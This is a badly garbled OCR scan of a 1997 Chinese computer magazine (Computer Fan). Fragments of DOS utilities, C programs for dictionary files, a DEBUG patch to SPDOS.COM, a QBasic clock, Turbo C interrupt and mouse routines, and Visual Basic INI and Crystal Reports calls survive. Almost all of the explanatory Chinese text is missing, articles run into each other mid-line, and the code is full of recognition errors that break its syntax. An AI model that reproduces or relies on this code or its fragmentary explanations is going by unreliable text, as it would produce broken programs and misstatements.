RUN144. BAT DEBUG. EXE
A A
RUN144. BAT

HD-COPY 1.72.0 23R

- L100 0 0 1 - L100 I 0 1
HD - COPY w100 0 0 1 W100 1 0 1
L.2MB 5
1.44MB 3 DISK12. DAT FLP12.DBG ~ RUNI12. BAT
. DISK144. DAT HD - COPY 2.3
HD - COPY A ©®

C > DEBUG
-L100 0 0 1

AU B 4 R A 6 AR JE

O

10P
(20W ) 20pP

2cm 0. 18cm

CMOS
©
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IDE
4
g 'é] gé WIN9S VCD
§ §
§ aA éé “ master”
CPU S =7 é
) — 2
I
w B -
7 § @ éé
MODEM § § 3
? ]
3
— ER R
SRR IMR
1.
CPU
POWER CPU
ZERERRIR ORI B AR
1. 2.
1) 586 4 72 1
2 34
2
34
A B 3. CPU
BIOS A B CPU CPU
34 12 1
D CPU
CPU CPU
3 CPU
2. 4.
1
master slave
5. CPU
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(]
FoxBase Huany-
sound ing. prg
BDCSE1 PLAY. EXE DOS 4. FoxBASE Huanying. prg
DOS WAV  VOC Fox. bat
1. Huanying. prg
UCDOS set talk off
u " set scor off
FoxBASE set stat off
@0, 0 say chr(14) +'[cul, Ore0, 0, setup. pex] ' & &
WINDOWS95  STUP. BMP SETUP. PCX,
1. PCX
run play my. wav> nul & & my. wav
Windows “ NUL
FoxBASE ” 16 @0, 0 say chr(14) +'[cul, Im3]" & &
640 x 480 x 16, s
retu
2. 2. FOX. BAT
@ ECHO OFF
FOXPLUS HUANYING
8 Fox
16
3. UCDhOS ©
586 CPU
CPU (Keyboard Lock)
RIS — LOCK,
i) N ’k%-‘?ﬁ N —F‘
_ X * BIOS & &
ISA 3~4 PCI BIOS
528MB
“ IBA”
A A X BMHEEEETFR
OK WIN9S WIN9S
WIN9S
WINO9S
FDISK ~ FORMAT s
c CONFIG.SYS  AUTOEXEC. BAT
Del  BIOS ©
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SU. LIB

) N
1.
0000 ~ Obc1H

Computer Fan

BDC-
25
CK - *.PMS
+Nx ( +
be2H 0004 ~ 0005
Obc2H 25
20
20
20
25% 60 =5DCH
50H
1997 . 6.

“ 40"

3

79(4FH) ASCIl “ N”

1
DANCI. DAT
DANCI. DAT
25

F2
CK - AA
CK - AA. PMS
2 1
CK - AA. PMS
BDCSU. LIB

3010

CI. DAT
PCTOOLS

1

/* TQCK.C 3.0
DANCI. DAT */

#include <stdio. h>

#include <stdlib. h>

FILE * inCK;

FILE * outCK;

void main (int arge, char * argv[ ])

{
t 13
char JianGe[O0x51]; / * s

*/
char DanCi[21]; /* */
char YinBiao[21]; /* * /
char ZhuShi[21]; /* */

if(arge! =2)

{
printf ("\nUsage: % s CDfile”, argv[0]);
exit(1);

}

if((inCK = fopen (argv[1],"th")) = =NULL)

{

printf ("\nCan't open CK % for input!”, argv[1]);

exit(1);

}

if ((outCK = fopen ("DANCI. DAT", "wt")) = = NULL)

ASCIL

DAN-

51H

.35.



%

{
printf ("\nCan’t open DANCI. DAT for output!");
exit(1);

}

fseek (inCK, 0xBC2, SEEK_SET); / *
*/

i=0;
while (! feof(inCK))

fread (JianGe, 0x50, 1, inCK);
/ * 25 */
i=0;
}

fread (DanCi, 20, 1, inCK); /%
*/

fread ( YinBiao, 20, 1, inCK);

fread (ZhuShi, 20, 1, inCK);

DanCi[20] ="\0’; /% 20
YinBiao[20] ="\0’;
ZhuShi[20] ="\0’;

fprintf (outCK, "% s\n\% s\n% s \n", DanCi, YinBiao, ZhuShi);

/x DANCI. DAT %/
i+ +;

}

fclose (inCK);

felose (outCK);

}

2
/ % MKCK. C DANCI. DAT
CK — AA. PMS* /
#include <stdio. h>
#include <stdlib. h>
#include <string. h>

FILE * srCkfile;
FILE * outCkfile;

void main ()

{
int i
int GroupNum; / * */
char DanCi[100]; /x * /
char YinBiao[ 100]; Vs * /
char ZhuShi[100]; VS * /
char spaceStr[21] =" "
char JianGe[0x51] =" 40
/% . soH , 7 8
ASCII “ 40" * /
/% 79  (4FH) ASCIT “ N" %/
if((srCkfile = fopen("DANCL DAT”,"rt")) = = NULL)
{

printf("\nCan’t open DANCI. DAT for input!”);
exit(1);
}
if ( (outCkfile = fopen(”"ck — aa. pms”,"r +b")) = = NULL)

. 36.

{

printf ("\nCan’t open CK — AA. PMS for output!");

exit(1);

}

fseek (outCkfile, 0xBC1, SEEK_SET); / *
AA. PMS * /
pute ("\x20', outCkfile);  / *

i=0;
while (! feof (srCkfile))
{
if((i%25==0)&& (i! =0))
fprintf (outCkfile, JianGe); / *

feets(DanCi, 25, srCkfile); / *
*/

feets (YinBiao, 25, srCkfile);

feets (ZhuShi, 25, srCkfile);

strcat ( DanCi, spaceStr); / * */
strcat ( YinBiao, spaceStr) ;
strcat (ZhuShi, spaceStr) ;

DanCi[20] ='\0"; /* 20 */
YinBiao[20] ="\0’;
ZhuShi[20] ="\0’;

fprintf (outCkfile, "% s% s% s”, DanCi, YinBiao, ZhuShi);

/* CK - AA.PMS */
i+ +;

}

GroupNum =1/25; /* */

fseek (outCkfile, 4, SEEK_SET);
fwrite (& GroupNum, 2, 1, outCkfile); / *

felose (srCkfile) ;
felose (outCkfile ) ;
}

CK -

*/

*/

*/

(AT )M bl ir ARES

1950 40
8 12
!
1997 4.60
2-241 CN11 - 1457
M19
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IRQ 5710

IRQ
1. BDC
C: \ GWPLAYER ESSCFG. EXE
IRQ 7 ESS-
CFG. EXE I “ set now IRQ chan-
0 nel” 3 “IRQ7 IRQ 7
— —
BDC
#1465 F A IR R M C:\ GW-
FELE sh REEIRAELT PLAYER ESSCFG. EXE  TRQ 7
‘ " 2. IRQ 7
IRQ
BDC DOS AUTOEXEC. BAT
C: \GWPLAYER\ESSCFG. EXE/I: 7 /D: 1
BDC
DOS
WINDOWS DOS
S400/MTV
WINDOWS IRQ 5710
DOS
(IRQ)
(IRQ) (DMA)
DOS S400/MTV SOUND
(IRQ) 25710 SOUND. TXT
2 IRQ 5 BDC 200 10 ©
L]
312F: 95DF 7414 JZ  95F5
312F: 95E1 B4A3 MOV AH, A3
312F: 953 0C80 OR  AL.80
312F: 95E5 86F0 XCHG AH, AL
312F: 95E7 A3F28D MOV [8DF2], AX
— A 95E1
312F: 95E1  JMP 4C20
312F: 95EE  NPO
— A 4C20
312F:4C20 CMP AL, 2E
WPS 312F: 4C22  JB 4C2B
SPDOS 5.0 Sp- 312F:4C24 CMP AL, 39
DOS. COM 48622 312F:4C26 JA 4C2B
312F: 4C28 JMP 95E5
€ 7 DEBUG SPDOS. COM 312F: 4C2B MOV AL, A3
- U 95DD 312F: 4C2D  OR AL, 80
312F: 95DD 3CFF CMP AL, FF 312F: 4C2F  JMP 9SES &
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O
BDC
ZD. C
Turbo C 2.0 continue
F8( ) F7( ) Fa4( )
W | ] “ ”
20
NC
C \BDC kopy
con NCy~ ck —n4. pms/ ck —n2. pms/ ck -
n3. pms/ ck —nl. pmsAZ/ 7D NCy~
( 7D. EXE BDC
)
“ ZD4BDC30. DIC”
GRE
BDC3.0 (*.PMS)
“ " 3010 “ " 80
: 25
60
20 20
( )/[(25%60) +80]
if —in - string( ) son
mother

. 38.

20 (0x20)

10

* aacabbcbabe " 9

* bedefghi” 6

(Compact mode)
D0S6.22  UCDOS5.0

"3.0 3.1 */
AltD/S/N R

286 1M
/* "
/* Al O/C/C/0
EXE */
#include <stdio. h>
#include <string. h>
#include <alloc. h>
#include <conio. h>
#include <ctype. h>
#define MAXBOOKS 20
dictionary_books * /
#define COUNT 5 /% MAX words will be found * /
#define HEAD 3010 /% length of file_head of *.PMS of
BDC3.0o0r3.1 %/
#define MSG 20

/% MAX books can be used as

/ * length of every data_item * /

typedef unsigned char BYTE ; /% unsigned char
BYTE * /

BYTE  found_buf[ COUNT* MSG* 3 + 1], unknow[ MSG +

1 /% */

BYTE  jqmh; /% jqmh means " or "k

BYTE ask (BYTE x1, BYTE x2)

{ BYTE ans; fflush(stdin); ans = toupper(getch());
while(ans ! = x1 & & ans ! = x2)
{ printf("\7"); ans = toupper(getch()); }
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return ans;
1
/* son mother 1, 0 *x/
int if_in_string(BYTE * son, BYTE % mother , int son_len)
{ static BYTE temp[ MSG +1 |; BYTE * p_son = son, *
p_mother = mother;
while( * (p_mother + sonlen -1)! =""& & * p_mother
1="\0") / * r */
{ if( % p_son= = * p_mother & & * (p_son +son_len-1)
= = * (p_mother + son_len - 1) )
{ strncpy (temp, p_mother, son_len);
if ( strnemp (temp, son, son_len) = = 0 )  return 1;
else  p_mother + +;
}
else p_mother + +;
}
return 0;
}
int look_up( BYTE far * p , int word_groups)
{ int word =0, loop =0 , found = 0, son_len, mother_len = 0;
static BYTE temp[MSG +1]; BYTE *pl;
son_len = strlen (unknow);
while( loop + + < word_groups * 25 & & found <=
COUNT)
{ strncpy (temp, p, MSG);
if( jqmh = ="J")
{p1 = temp; mother_len = 0; VA S V4
while(*pl!=""&& *pl!="\0) /*|-->
mother */
{ mother_len + +; pl+ +;} /x ==
*/
if(son_len = = mother_len)
if (if_in_string (unknow, temp, son_len) = = 1)
{ strncat(found_buf, p, 60); found + +; }
1
else if ( if_in_string (unknow, temp, son_len ) = =1)
{ strncat(found_buf, p, 60); found + +; }
p + = 60; word+ +; if(word = = 25) { word = 0; p
+ = 80; }
} /* 25 80 * /
return (found ) ;
1
void put_chinese (BYTE * found_buf , int total_found)
{ static BYTE eng[ MSG +1 | , chn[ MSG+1 ];
BYTE * p =found_buf;
cputs(” \n\r 1
cputs(”\n\r \n\r\n\r");
for(i=0; i <total found ; i+ +, p+ =60)
strnepy (chn, p + 40, MSG);
cputs(chn); cputs("\n\r");

int i

\n\r");

{ strncpy (eng, p, MSG);
cputs(” "); cputs(eng);
}
}
void window3d (int x1, int y1, int x2, int y2, int bkcolor, int color)
{ textbackground(BLACK);  window(x1, y1, x2,y2); clrser
0);
textbackground (bkcolor); texteolor(color);
window (x1 = 1,yl - 1,x2-1,y2 -1);
1
main (int arge, char * argv[ |)
{ FILE *fp; long int length; BYTE far * pageO;
int 1=0, finished, found, word_groups;

clrser();

int  total_books =5, total_found =0, enough =1;
BYTE ans="Y', temp[13]; / % strlen("zd4bdc30. dic”)
+'\0" = =13 *x/

Computer Fan 1997 . 6.

BYTE * dic_books| MAXBOOKS | = {
/x 5 N total_books = =5 */
"ck —tl. pms”, "ck — tt. pms”, "ck —rl. pms”, "ck - r2. pms”, "
ck —dl. pms”,
"123456789" ,"123456789" ,"123456789" ,"123456789" ,"
123456789",
"123456789" ,"123456789" ,"123456789" ,"123456789" ,"
123456789",
"123456789" ,"123456789" ,"123456789" ,"123456789" ,"

123456789",

}; /% 5col/line * 4 line = = 20 = = MAXBOOKS * /
textmode (3); window (1, 1, 80, 25); textbackground (RED);

clrser();

window3d (5, 3, 75, 9, LIGHTGRAY, BLACK); gotoxy (1, 2);
textcolor(RED);

cputs(” ZD4BDC Ver 0.99 "); textcolor(BLUE);

cputs (" ( 650114 300 38 ) ")
textcolor(YELLOW ) ;

cputs(” 1996 12

cputs (" - -

(*.PMS)
cputs ("

\n\r");  textcolor(BLACK);

! (BDC) 3.0 3.1

\n\r);
: ZD4BDC [ ].
7D4BDC30. HLP. \n\n\1");
if(argc ==1)
{ strepy (temp, "zd4bdc. dic”);
cputs (" )

"),
- )s

ZD4BDC. DIC

}
else strepy (temp, argv[1]);
if( (fp = fopen(temp, "t")) = = NULL )
{ delline(); cputs(”\r "); cputs(temp);
cputs (" N (5 ) )
}
else
{ if(arge! =1)
(temp); }
/% while( ! feof(fp) & & i <=MAXBOOKS & & stremp
(dic_books[i—1],"\n") ! = 0) * /
/ * fscanf (fp, "% ", dic_books[i + +1); * /
/% total_books =i - 1; %/
while( ! feof (fp) & & i <=MAXBOOKS )
fscanf(fp, "% s", dic_books[i + +]);

{ cputs(” "); cputs

total_books = 1 ;
}
page0 = (BYTE far * ) farmalloc( 632001 ); /* Long
63200 = = 40L * 1580 */
if(page0 = = NULL) /* 1580 = =( MSG * 3 ) % 25 + 80 * /

{ textmode (3); cputs( "\n\r\7
1"); exit(0); }
fclose(fp);
window3d(5, 12, 75, 23, LIGHTGRAY, BLACK): textcolor
(YELLOW):

cputs ("\n\r [ (j) ] [ (m) ]
?(j/m)");
jqmh = ask ('J’,'M"); found_buf[0] ='\0’; finished = - 1;
do
{ finished + +;
if( finished = = total_books )

{ if(total_found > 0)
tal_found) ;
cputs ("\n\n\r ? (y/n)");
ans =ask ("Y', 'N’); finished = —1; total_found = 0;
enough = 1; found_buf[0] ="\0’; continue;

put_chinese ( found_buf, to-

}
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Q/\ * . PMS
=
(BDC 2.
( ) BDC éF_I. (1) YLDICT( ) YL-
Z DICT SBTALK
BDC #&a (2)
A CTRL + F12 F2 (
o= )
F "
“ ” < ( )
: ” BDC l (3) BROWSE ( )
3. 1 1“’_.3 “ ”
L—
== 3
= '
— FijIC g R7E BDC se @A
1. BDC
(1) QED EDIT = _FiRICHpiga a7 BDC seBEA
(2) BDC “ ”
“ yow ” ©
if(enough = =1) fread (page0, 1580, word_groups — 80, fp);
{ clrser(); textcolor(RED); total_found + = look_up (page0, word_groups — 80);
if(jqmh = ="J") }
cputs(” .o \n\r ) else if (word_groups > 40)
else { fread(page0, 1580, 40, fp); total found + = look_up
cputs (" .. \n\r (page0, 40);
( ): ") fread (page0, 1580, word_groups — 40, fp);
fflush (stdin);  gets(unknow); if(strlen(unknow) = =0) total_found + = look_up (page0, word_groups — 40);
break; }
cputs("\n\r"); textcolor(BLACK); else { fread(page0, 1580, word_groups, fp);
} total found + = look_up (page0, word_groups);
if( (fp = fopen(dic_books|finished] , "rb”)) = = NULL) }
{ clreol (); /K - - - - = — > 4.24 fclose (fp);
" " Lok / if (total_found = =0)
printf (" \ 7" );  cputs(” "); cputs(dic_books { clreol();
[ finished]); cputs (dic_books| finished ] ); cputs(”
cputs (" '\n\r"); enough =0; continue; '\t");
1 1
clreol(); cputs(” ") if( total found > = COUNT )
cputs (dic_books| finished | ); cputs(” oo\ { put_chinese (found_buf , COUNT ); enough=1; }

fseek (fp, 0, SEEK_END); length = ftell(fp) - HEAD;

word_groups =  length/1580 - 1;  fseek(fp, HEAD,
SEEK_SET):
if (word_groups > 80)
VS fread () ,
7ZD1. C fseek () * /

{ fread(page0, 1580, 40, fp); total found + = look up
(page0, 40);

fread (page0, 1580, 40, fp); total found + = look_up
(page0, 40);

. 40.

else { enough =0; continue; }

cputs("\ n\n\r ? (y/n)");

ans =ask ("Y', 'N');
finished = - 1;

total_found = 0; enough = 1;  found_buf[0]

="\0";
Jwhile( ans = = "Y' );
farfree (page0);  fclose(fp); textmode(3); textbackground

(BLACK): clrser();

©
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QBA-
sIC
VGA

0—59
ENTER
TIMER. DAT"

" This is a program of clock. '
SCREEN 1: CLS : COLOR 11, 1’
ON ERROR GOTO 20 '

TIMER. DAT”

OPEN "timer. dat” FOR INPUT AS #1 '
INPUT #1, m$ '

CLOSE #1 '

5th = VAL(LEFT$ (m$, 2)) '

tm = VAL(RIGHT$(m$, 2))

tn = VAL(RIGHT$(m$, 1))

IFtm = 0 THEN tm = tn

10 PRINT "TIMER - —="; m$: GOTO 30
20 th = 99

30 LINE (100, 165) — (200, 180), 1, B’
LINE (60, 10) - (240, 185), 2, B

LINE (60, 160) — (240, 160), 2

DO 'DO LOOP
FORn = 1TO 12’ FOR NEXT
READ x1, yl

LOCATE x1, yl: PRINT n

DATA 5,23, 8, 26, 11, 27, 14, 26, 17, 23, 18, 18
DATA 17, 14, 14, 11, 11, 10, 8, 10, 5, 14, 4, 18
NEXT n

RESTORE
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LOCATE 7, 19: PRINT "*"
LOCATE 22, 15: PRINT DATES '
LOCATE 15, 16: PRINT TIMES$ '
CIRCLE (150, 83), 80, 2’

t$ = TIMES$

a = 6.28 / 60

¢ = VAL(MIDS$(TIMES$, 4, 5)) '
m =c¢ + 45

mx = 60 * COS(a * m) + 150
my = 50 * SIN(a * m) + 83
LINE (mx, my) - (150, 83), 2’

h = VAL(LEFT$(TIMES, 2)) '

hh = h * 5 + ¢/ 12 + 45

hx = 40 * COS(a * hh) + 150

hy = 33 * SIN(a * hh) + 83

LINE (hx, hy) - (150, 83), 2’

s = VAL(RIGHT$(TIMES, 2))

sx = 70 * COS(a * (s + 45)) + 150

sy = 58 % SIN(a * (s + 45)) + 83

LINE (sx, sy) — (150, 83), 1’

IFc =59AND (s = 56 ORs = 570Rs = 58 ORs = 59)
THEN
BEEP '

PRINT CHR$ (7) BEEP

IFc = 0 ANDs = 0 THEN SOUND 2300, 6’
IFh = thANDc¢ = tm ANDs = 0 THEN '

PLAY "MBMLO3t24014cdeccdecefg2efg2pl6ldcdeccdece
fg2efg2" '’
END IF
CIRCLE (150, 83), 3, 3’
50 IF t$ = TIME$ THEN 50
PLAY "p64” '
LINE (hx, hy) - (150, 83), 0’
LINE (sx, sy) — (150, 83), 0
LINE (mx, my) — (150, 83), 0
IF RIGHTS$ (INKEY$, 1) = CHRS$ (59) THEN EXIT DO '
F1
IF RIGHTS$ (INKEY$, 1) = CHR$(27) THEN END ' ESC
LOOP

CLS OPEN "0o" |
“ TIMER. DAT"

100 PRINT "Please input time — —": GOTO 120
110 PRINT : PRINT "Invalid timer. ”

PRINT "Enter new time — —??: 27"

120 INPUT ; m$ '

IF LEN(m$) > 5 OR LEN(m$) <3 THEN 110’

3--5

FORI = 1 TO LEN(m$)

II = ASC(MID$(m$, I, 1))

IFII > 58 ORII <48 THEN 110

NEXT 1’

ml = ASC(MID$(m$, 2, 1))

m2 = ASC(MID$(m$, 3, 1))

IFml < 58EQVm2 < 53 THEN 110’

’

# 1, "timer. dat”

m3 = ASC(RIGHT$(m$, 1))
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%

union REGS r; /* */

ISEREEDT

O

Turbo C
DOS INT 33H

#include <dos. h>
#include <graphics. h>
#include <bios. h>
void txcks(int x1, int y1, int x2, int y2, int cl, int ¢2, int ¢3, int
c4)
{ setcolor(0); Vs */
rectangle (x1 =1, yl = 1,x2 +1,y2 +1);
setcolor(cl);
line(x1, y2,x2,y2);
line(x2, y2,x2, y1);
setcolor(c2);
line(x1 +1,y2-1,x2-1,y2-1);
line(x2 - 1,y2 -1,x2-1,yl +1);
setcolor(c3);
line (x1, y1,x2, y1);
line(x1, y1,x1, y2);
setcolor(c4);
line(x1 + 1, yl +1,x2-1,yl +1);
line(xl +1,yl +1,x1 +1,y2-1);
1

void mouse_IRQ (int * num, int * bx, int * cx, int * dx)

m4 = ASC(LEFT$(m$, 1))
IF m3 = 58 OR m4 = 58 THEN 110 '

th = VAL(LEFT$(m$, 2))

tm = VAL(RIGHT$(m$, 2))

IFth> 230Rth <OORtm> 59 OR tm <0 THEN 110
WRITE #1, m$

CLOSE #1: CLS : GOTO 5’

TIMER. DAT "
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r. x. dx = * dx;
int86(0x33, & r, & r);
* bx =r. x. bx;
K ex =T.X. ex;
*dx =1. x. dx;
X num =r. X. ax;

}

void init_mouse() /* s

*/
{ int num =0;

mouse_IRQ (& num, & num, & num, & num);

if(num! = - 1) system(”c: \\dos \\mouse”);
1
void mouse_position (int * x, int *y)
{ int button =0, num = 3; /* * /

if (button_preesed () = =0) mouse_IRQ (& num, & button, x,
y):

num = 1; mouse_IRQ (& num, & num, & num, & num);

1
int button_preesed (int k)
{ int bx =0, num = 3; /* */

mouse_IRQ (& num, & bx, & num, & num);
return bx& k;
1
main()
{ int i, num, x, y, gd = DETECT, gm;
int freq[ 8] = {262, 294, 330, 349, 392, 440, 494, 532};
registerbgidriver (EGAVGA driver); /% */
initgraph (& gd, & gm,”");
init_mouse ( );
setfillstyle (SOLID _FILL, 7);
bar(0, 0, 639, 479);
txcks (215, 220, 285, 250, 8, 8, 15, 15);
txcks (365, 220, 435, 250, 8, 8, 15, 15);
outtextxy (218, 310, "click right button to quit!”);
while (button_preesed (2)! =2)
{ mouse_position (& x, & y);
(215 <x & & x <=285 & & 220 <=y & & y <=
250& & button_preesed (1) = =1) {
txcks (215, 220, 285, 250, 0, 8, 8, 15):

while (button_preesed (1) = =1) delay(10);
txcks (215, 220, 285, 250, 8, 8, 15, 15);
for(i=0;i <8;i+ +) /* */

{ sound(freq[i]); delay(800); nosound(); }}
if(365 <x & & x <=435 & & 220 <=y & & y <=
250& & button_preesed (1) = =1) {
txcks (365, 220, 435, 250, 0, 8, 8, 15);
while (button_preesed (1) = =1) delay(10);
txcks (365, 220, 435, 250, 8, 8, 15, 15);
for(i=8;i> =0;i—- —-) /% */
{ sound(freq[i]); delay(800); nosound(); }}
}
closegraph () ;

(ke 5 s 3058 %)
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L]
C )
S s DOS
S ISR
1 ISR ( 18.2
2 ISR ( 256
) 3 ISR ( 0X09
)
— (B 4P ISR
C s ISR 5
0X1C,

void interrupt * old_Time(); / * */

long time = 0;

void interrupt new_time() /% */

{ time+ +;}

main ()

{  old_Time = getvect(0Oxlc); / * * /
setvect (Ox1c, new_time); / * * /
while (! kbhit())
printf ("time = % 1d \r”, time); / * time */
/* printf 0x21DOS

*/
setvect (Ox1c, old_time); / * * /
}
include, s
18.2, 18.2 )
changtime (unsigned int count) / * count = 0x965c 30
*/
{ outp(0x43, 0x3¢); outp(0x40, (count& Oxff)); /*  0x40
count 8 KX/
outp (0x40, (count> > 8) & Oxff); /*  0x40 count
8 *x/

}

1192737 s

COUNT 1192737

B ISR,
sint *p(), run=1;
void use()
{ Ve * /
}

void interrupt new_time ()

. 46.

{ (*old_Time) (); / * */
if (run= =1){
run =0;  disable();
( *p)();
enable(); run =1;
}
}
main ()
{p = (int * )use;
}
MAIN
s RUN ISR
USE () ) ,
DOS RUN s
RUN s ISR * !
USR1(), USR2() TC2.0
C+ +
ISR MSC
void interrupt _far Old_Isr _far
32 ( )
= R A7 ISR
Microsoft 50 ~ 60
256
0X33
0X1C
ISR MOUSE
—_— 0X33
1 ax =0 ax =0
ax = -1
bx = (I=1 2=2 3=3 )
2 ax =3 bx =
X =X
dx =y
bx 0
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2.5 50MHz 2.5
486CPU s
Windows 95
DOS CPU CPU
L]
CMOS “ (Power Management
Setup) Windows 95
486 “ "
CPU 486CPU
S50MHz 66MHz 80MHz
“ » |
SIS471 AMDA486 /100 ©
CPU JP6 JP7 CUP JP6
JP7 “ " 33MHz P70 FER RS HAF WA KRG SR DA RS 3
" ( 40MHz) CPU H A2 R 386,486, FARZ AT, hefT A ik BAFILR EE
120MHz 50MHz e AE R ve? K A 44548, %3 kA
2 3~7 1 0 static unsigned mesp, mess, k;
unsigned char intl, int2;
1 ISR disable(); mesp = _SP; mess = _SS;
: enable();
2. ISR int] = inporth (0x60); int2 = inporth (0x61);
(1) ?2.( disable(); SP = mesp; _SS = mess;
ddx, ddy B Xy ) KEY =intl; enable();
’ /% KEY
(2) ( SHOWMOUSE ()
) ( IF )% /
(3) k = inportb (0x61); outportb (0x61, 0x80);
(4) ( 'y outporth (0x61, k) ; outporth (0x20, 0x20);
’ }
ddx, ddy) main()
3. 30 {
oldkey = getvect(0x09); setvect(0x09, newkey);
( printf (”pause ESC to exit\n”);
while(KEY! =1)
) (
- : printf ("% d \1", KEY);
= B #E ISR ;
setvect (0x09, oldkey):
}
VA 0X09 *xx/
DOS BIOS
0X09 128 0X09
BIOS 0X09
#include <dos. h> (
void interrupt ( * oldkey) (void); / * */ ’
void interrupt newkey (); / % */ ) 1/18.2
unsigned char KEY; / * */
void interrupt newkey () , ,
{ EXE ©
Computer Fan 1997 . 6. .47.



VB

A \Windows 481X H-eh ek

Windows (INT)
VB
1.
Windows
Windows INI

win. ini ~ system. ing uc-

dos. ini vb. ini

ucdos. ini  vb. ini UCDOS
VB
[ ]
system. ini WIN-
DOW
Non WindowsApp
FontChangeEnable = 1
Non WindowsApp
FontChangeEnable 1
2. API
Windows95 Kernel. exe
INI GetProfilelnt
GetPrivateProfileInt GetProfileString  GetPrivateString
INI
WritePrivateProfileString WritePro-
fileString INI
VB

Declare Function GetProfilelnt Lib "Kernel” (ByVal IpAppName
As String, ByVal IpKeyName As String, ByVal nDefault As
Integer) As Integer

Declare Function GetProfileString Lib "Kernel” (ByVal lpApp-
Name As String, IpKeyName As Any, ByVal IpDefault As
String, ByVal IpReturnedsring As String, ByVal nSize As

. 48.

Integer) As Integer
Declare Function WriteProfileString Lib "Kernel” (ByVal IpAp-
plicationName As String, IpKeyName As Any, IpString As
Any) As Integer
Declare Function GetPrivateProfilelnt Lib "Kernel” (ByVal
IpApplicationName As String, ByVal IpKeyName As String,
ByVal nDefault As Integer, Byval IpFileName As String) As
Integer
Declare Function GetPrivateProfileString Lib "Kernel” (ByVal
IpApplicationName As String, IpKeyName As Any, ByVal
IpDefault As String, ByVal IpReturnedString As String, ByVal
nSize As String, ByVal nSize As Integer, Byval IpFileName As
String) As Integer
Declare Function WriteProfileString Lib "Kernel” (ByVal IpAp-
plicationName As String, IpKeyName As Any, IpString As
Any) As Integer

IpApplicationName$

IpKeyName$

nDefault%

IpFileName$

IpDefault$

IpReturnString$

nSize%
IpString$
VB winapi
win32. txt VB
3.
Windows

PROGRAM. INI

(PROGRAM. EXE)

[Settings ]

order=632471

order

Order 2341765 SHELL

Private Sub form_Click ()

IpAppName$ = "Settings”

IpKeyName% = "Order”

IpString$ = 2341765 "

IpFileName$ = "progman. ini”

j% = WritePrivateProfileString (lpAppName $, lpKeyName $

"Order”, IpString$ = "2 3417 65", IpFileName$)
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j% = Shell ("progman. exe”, 1)

End Sub
ST 53R VB #YIRFRFBTEZH AL
VB for Windows4. 0 ( )

—Crystal Report

Crystal Report4. 0 VB

1. Crystal Report4. 0 VB

Crystal Report4. 0 VB VB
Crystal Report4. 0
“ C:\CRW" VB “ C:\VB\
REPORT”

(1) CRW.EXE  CRW.HLP

copy c: \crw \crw. exe c: \vb \report
copy c: \crw \crw. hlp c: \vb\report

(2) CRSUPREG. DLL CRSUP-
PRT. DLL
copy c: \crw \crsupreg. dll c: \vb \report
copy c: \crw \crsupprt. dll c: \vb \report
Crystal Report VB
“ Windows /Report Designer”
Crystal Report
(3)Crystal. vbx
2. CRPE. DLL
Crystal Report CRPE. DLL
Crystal Report
Crystal Report CRPE. DLL
C C+ + VB VC Delphi VB
CRPE. DLL
Declare Function PEOpenPrintJob Lib “ CRPE.DLL”
(ByVal RptName$)As Integer
Declare Function PEClosePrintJob Lib “ CRPE.DLL"
(ByVal PrintJob$)As Integer
PEOpenPrintJob
PEClosePrintJob
CRPE. DLL “ C:\ CRW\
CRPE. DLL”
(1) (MAK) GLOB-
AL. BAS “ C \CRW”
(2) GLOBAL. BAS
VB
PASTE VB
Crystal Reports CRPEDE-

Computer Fan 1997 . 6.

MO. MAK
Command]1_Click ()
ORDERS. RPT

Sub Commandl_Click ()

result% = PEPrintReport(”"c: \CRW\CODERS. RPT ", 0, 1, "
", CW - USEDEFAULT, CW - USEDE-

FAULT, CW - USEDEFAULT, CW - USEDEFAULT, 0,

0)
If result% <> 0 Then MsgBox (" ")
End Sub
PEPrintReport
( )

3.

Crystal Report4. 0 Crystal. vbx
CrystalReport

Sub Commmand1_Click ()
Main. Reportl. CopiesToPrinter = Copies. Text
Main. Reportl. DetailCopies = NDetailCopies. Text

'

'

If Collate. Value = True Then
Main. Reportl. PrintCollation = 1

'

Else

Main. Reportl. PrintCollation = 0

End If

If StartPage. Text =" " Then

Main. Reportl. PrinterStartPage = 0

Else

Main. Reportl. PrinterStartPage = StartPage. Text
End If

If EndPage. Text =" " Then

Main. Reportl. PrinterStopPage = 0’

Else

Main. Reportl. PrinterStopPage = StopPage. Text
End If

If SaveData. Value = True Then
Main. Reportl. DiscardSaveData = False

Else
Main. Reportl. DiscardSaveData = True
End If
Main. Reportl. Destination = 1~ ( )
End Sub
Crystal Report4. 0
. 49.
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4 B it HAuF R A KA AL

At 4 QAT T 2B AMF ALK AR RE
K RERKE P C 3BTRS — 54T, TR

KA oG A B BAT AT

siteof * &
+ + 20
C
2. &4

if 5 if —else
for 8
while 6

do — while

go to
switch

3. BHGRA A

9
1
4. 34T Ao din
17
2

.52,

2

for

break

continue

strepy (), streat ()
5. &M KSR LS

2 1
2 (typedef) 1
6. TRALIE
7
stdio. h ctype.h  string. h
1
7. Bk
1 1
8. XA
/ scanf() 2
getchar() 1 putchar() 1 gets ()
2 printf() 1
fopen() fclose() fpute
0 1
malloc () 2 isspace () 1
toupper () 1
C
++ - -
for
( )
sizeof
do — while break continue

( ) (¥%%)
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sansms 10
0

fseek
L]
C
/ 3.
N C
— XA
1.
C
C
= AR A0 3 B BRAR
stdin stdout
stderr
1.
getchar()
2. ASCII
C int
putchar(c)
FILE FILE *fp c char
*fq fp fq FILE
stdio. h
fopen () fopen () 2.
gets(s)
s
s
puts ( s)
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%

%0
%o

s
scanf " "
%

int S char f

|

&
int

printf ” "

\b \r

float

int

\'n

d
int s c char f float
%
1 int
*
0
C printf()
= R AR R A R
1.
fopen n " n ”
“ o
“
“ o
R
ab ™ b+ wh" abt”
NULL
(
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http: / /www. cfan. cn. net Q?

BirE XM Le)RFARTS

O

(L% 2 00) ‘ !

(http: //

www. cifco. cn. net)

2 Isp

278N

&,

)
Internet http: / /www. homeway. cn. net
ID http: / /www. homeway. co. en
65917601 - 05 62535410 64601323
65917598 6401332 4711 (100027)

10 15 36 507 ( )

{ARREIR, "R BB By

1993 - 1996
DOS&
WIN
1993 - 1996
1993 - 1996
16 320 28
48
100081
16 480 10%
38
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http: //www. cfan. cn. net

Internet PSR

v".“.~

2]

Microsoft Microsoft
0oy, » .
Internet Windows
(Brigham Young University)
Widnows95
Microsoft

http: / /206. 126. 103. 21 /holt/index. html

Holt Report
1995

http: //www. prnewswire. com

PR Newswire

“

News On Call”

PR Newswire

http: / /www. act — stbay. org

(San francisco)

1996
85

A.C. T

1989
2

http: //www. delphi. co. uk /delphi/Stories /

9508 /16. Globe /intro. html
Delphi Canden Lock
1599

1999 9 19

1999 !

http: //www. windows95. com/
